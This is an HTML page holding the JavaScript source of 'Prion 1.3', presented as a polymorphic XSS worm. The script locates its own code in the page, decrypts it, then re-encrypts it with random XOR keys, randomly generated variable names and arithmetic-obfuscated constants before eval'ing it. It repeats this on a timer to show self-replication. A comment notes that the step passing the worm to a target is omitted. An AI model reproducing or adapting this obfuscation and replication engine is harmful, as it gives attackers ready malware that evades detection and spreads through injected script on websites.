﻿<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
    <title>Prion 1.3 - A Polymorphic XSS Worm by John Leitch</title>
    <script type="text/javascript">
        var replicating = false;

        setInterval("if(replicating)evalWorm();", 1000);

        function evalWorm() {
            var code = document.getElementById('xssWorm').value.replace('&lt;', '<');
            eval(code);
        }

        function toggleReplication() {
            replicating = !replicating;
            document.getElementById('replicateButton').value =
                (replicating ? 'Stop' : 'Start') + ' Replicating';
        }        
    </script>
</head>
<body>
    <textarea id="xssWorm" style="width:100%;height:600px">
/* Prion 1.3 by John Leitch - john.leitch5@gmail.com */
                    
/*worm start*/    
var startToken = '/*worm start*/',
    endToken = '/*worm ' + 'end*/';

var generatedVars = new Array();

function random(min, max) {
    return Math.round((max - min) * Math.random() + min);
}

var varNameChars = '_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

function genVarName() {
    var varName;

    do {
        var varLen = random(3, 14);

        varName = '';

        for (var i = 0; i < varLen; i++) {
            var r = random(0, varNameChars.length - 1);

            varName += varNameChars[r];
        }

    } while (varUsed(varName));

    //alert('name generated');

    return varName;
}

function varUsed(varName) {
    for (var i = 0; i < generatedVars.length; i++) {
        if (generatedVars[i] == varName) {
            return true;
        }
    }

    return false;
}

function transformInt(int,count) {

    var operators = ['+', '-', '*', '/'];

    var transformed = '';

    for (var i = 0; i < count; i++)
    {
        var type = random(0, 3);
        
        var integers = transformed.match(/-?[\d\.]+/g);
        
        if (integers != null) {
            for (var j = 0; j < integers.length; j++) {
                if (integers[j].indexOf('.') != -1) {
                    integers.splice(j, 1);
                    j--;
                    continue;
                }            
            }
            
            if (integers.length == 0)
                break;
        }
        
        if (transformed != '') {
            var intStr = integers[random(0, integers.length - 1)];
            
            int = parseInt(intStr.match(/-?\d+/));
        }
            
        var split = '';
        
        switch (type) {
            case 0:
                var x = random(-1000, 1000);
                var y = int - x;
                split = '(' + x + '+' + y + ')';
                break;
            case 1:
                var y = random(0, 1000);                    
                var x = int + y;                    
                split = '(' + x + '- ' + y + ')';
                break;
            case 2:
                var y = random(-1000, 1000);
                var x = int / y;
                split = 'Math.round(' + x + '*' + y + ')';
                break;
            case 3:
                var y = random(-1000, 1000);
                var x = int * y;
                split = '(' + x + '/' + y + ')';
                break;
        }
        
        if (transformed != '') {
            var replaceRegex = new RegExp('([^\\d\\.]|^)' + int + '(([^\\d\\.])|$)');
            
            var oldTransformed = transformed;
            
            transformed = transformed.replace(replaceRegex, '$1' + split + '$2');
        }
        else {            
            transformed = split;
        }
    }

    //alert('transformed int: ' + transformed)

    return transformed;
}

function encrypt(code) {
    var key =
    [
        Math.floor(Math.random() * 256),
        Math.floor(Math.random() * 256)
    ];

    var arrayName = genVarName();
    var decryptedName = genVarName();
    var counterName = genVarName();
    var charName = genVarName();
    
    var maxTransform = 8;

    var minCharCode = transformInt(32, random(2,maxTransform));
    var maxCharCode = transformInt(127, random(2,maxTransform));

    var two = transformInt(2, random(2,maxTransform));

    var encrypted = startToken +
        'var k0=' + key[0] + '\x3b' +
        'var k1=' + key[1] + '\x3b' + 
        'var ' + arrayName + '=\'';

    for (var i = 0; i < code.length; i++) {
        var c = (code.charCodeAt(i) ^ key[0] ^ key[1]).toString(16);
        
        encrypted += c.length == 2 ? c : + '0' + c;
    }
    
    encrypted += '\'\x3bvar ' + decryptedName + '=\'\'\x3b' +
        'for(var ' + counterName + '=0;' + counterName +
            '<' + arrayName + '.length;' + counterName + '+=2){' +
            'var ' + charName + '=parseInt(' + arrayName + '[' + counterName + ']+'+ arrayName + '[' + counterName + '+1],16)^k0^k1\x3b' +
            'if(' + charName + '==10 || (' + charName + '>=' + minCharCode + ' && ' + charName + '\x3c' + maxCharCode + '))' +
            '{' + decryptedName + '+=String.fromCharCode(' + charName + ')\x3b}' +
            '' +
        '}' +   
                     
        //'alert(\'decrypted:\\r\\n\' + d)\x3b' +

        'eval(' + decryptedName + ');' +
        endToken;

    return encrypted;
}

function findKey(code, index) {
    var regex = new RegExp('var\\sk' + index + '=(\\d+)');
    var keyMatch = regex.exec(code);

    if (keyMatch == null) {
        alert('key byte ' + index + ' not found');

        return null;
    }

    return keyMatch[1];
}

function decrypt(code) {
    var key =
    [
        findKey(code, 0),
        findKey(code, 1)
    ];

    if (!key[0] || !key[1])
        return;

    var codeMatch = code.match(/var\s[\w_]+='([\d\w]+)'\x3b/);

    if (codeMatch == null) {
        alert('packed code not found');

        return;
    }

    var decrypted = '';

    var codeBytes = codeMatch[1].split(',');

    for (var i = 0; i < codeMatch[1].length; i+=2) {
        decrypted += String.fromCharCode(parseInt(codeMatch[1][i] +
            codeMatch[1][i+1],16) ^ key[1] ^ key[0]);
    }

    //alert('decrypted:\r\n' + decrypted);

    return decrypted;
}

function findSelf(response) {
    var x = response.indexOf(startToken) + startToken.length;
    var y = response.indexOf(endToken, x);

    var code = response.substring(x, y);
    code = code.replace(/\x26lt;/g, '\x3c');

    //alert('self:\r\n' + code);

    return code;
}

var code = findSelf(document.body.innerHTML);

if (code.indexOf('var k0=') == 0) {

    //alert('decrypting');
    
    code = decrypt(code);
}

var encoded = encrypt(code);

// This is where the newly obfuscated worm (stored in encoded)
// is passed on to it's next target. But because we don't have a target
// we'll spit the newly obfuscated code out to a textarea.

document.getElementById('xssWorm').innerHTML =
    encoded.replace(/\x3c/g, '\x26lt;');
/*worm end*/
    </textarea>
    <input id="replicateButton" type="button" onclick="toggleReplication()" value="Start Replicating" />
</body>
</html>
